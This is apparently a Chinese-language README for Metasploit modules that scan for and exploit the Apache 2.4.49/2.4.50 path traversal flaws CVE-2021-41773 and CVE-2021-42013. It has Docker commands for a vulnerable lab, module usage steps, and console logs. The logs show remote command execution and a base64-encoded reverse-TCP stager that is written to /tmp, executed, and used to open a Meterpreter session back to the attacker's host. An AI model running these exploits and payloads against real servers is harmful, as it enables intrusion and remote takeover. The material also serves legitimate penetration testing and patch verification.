zeop-cybersec/apache_normalize_pathMetasploit-Framework 模块（扫描器和漏洞利用），用于 CVE-2021-41773 和 CVE-2021-42013（Apache 2.4.49/2.4.50 中的路径遍历）
10 月 5 日，Apache HTTP 服务器项目修补了 CVE-2021-41773，这是 Apache HTTP 服务器中的一个路径遍历和文件泄露漏洞。Apache HTTP 服务器是一款面向 Unix 和 Windows 的开源 Web 服务器，也是最广泛使用的 Web 服务器之一。根据安全公告，CVE-2021-41773 已作为零日漏洞在野外被利用。该漏洞由 Ash Daulton 和 cPanel 安全团队于 9 月 29 日披露给 Apache HTTP 服务器项目。不过，公告并未说明 CVE-2021-41773 的利用行为是何时被检测到的，但合情合理的推断是，正是这次利用推动了补丁的加速发布。
参见：https://fr.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
该漏洞在 Apache 2.4.50 的修复中被重新引入（CVE-2021-42013）。
研究发现，Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复并不充分。攻击者可以利用路径遍历攻击，将 URL 映射到由 Alias 类指令配置的目录之外的文件。如果这些目录之外的文件未受到常规默认配置"require all denied"的保护，这些请求就可能成功。如果这些别名路径还启用了 CGI 脚本，则可能导致远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50，不影响更早版本。
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--或者--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--或者--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
列出确保此工具正常工作所需的步骤
使用扫描器模块：
msfconsole。use auxiliary/scanner/http/apache_normalize_pathset RHOSTS [IP]set RPORT 8080set SSL falserun使用漏洞利用模块：
msfconsole。use exploit/multi/http/apache_normalize_path_rceset RHOSTS [IP]set RPORT 8080set SSL falseset LHOST [IP]set VERBOSE truerunmsf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > set target 1
target => 1
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set cmd uname -a
cmd => uname -a
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[+] uname -a
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Generated payload: uname -a
[!] http://172.20.4.11:8080 - Dumping command output in response
Linux 184ef33f9859 5.14.0-1-amd64 #1 SMP Debian 5.14.6-3 (2021-09-28) x86_64 GNU/Linux
msf6 exploit(multi/http/apache_normalize_path_rce) >
msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > setg RHOSTS 172.20.4.11
RHOSTS => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set lhost 172.20.7.36
lhost => 172.20.7.36
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[*] Started reverse TCP handler on 172.20.7.36:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] http://172.20.4.11:8080 - Generated command payload: echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwUByRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== | base64 -d > /tmp/PJaT; chmod +x /tmp/PJaT; /tmp/PJaT; rm -f /tmp/PJaT
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 172.20.4.11
[*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.4.11:48540) at 2021-10-08 13:58:13 +0400
[!] This exploit may require manual cleanup of '/tmp/PJaT' on the target
meterpreter >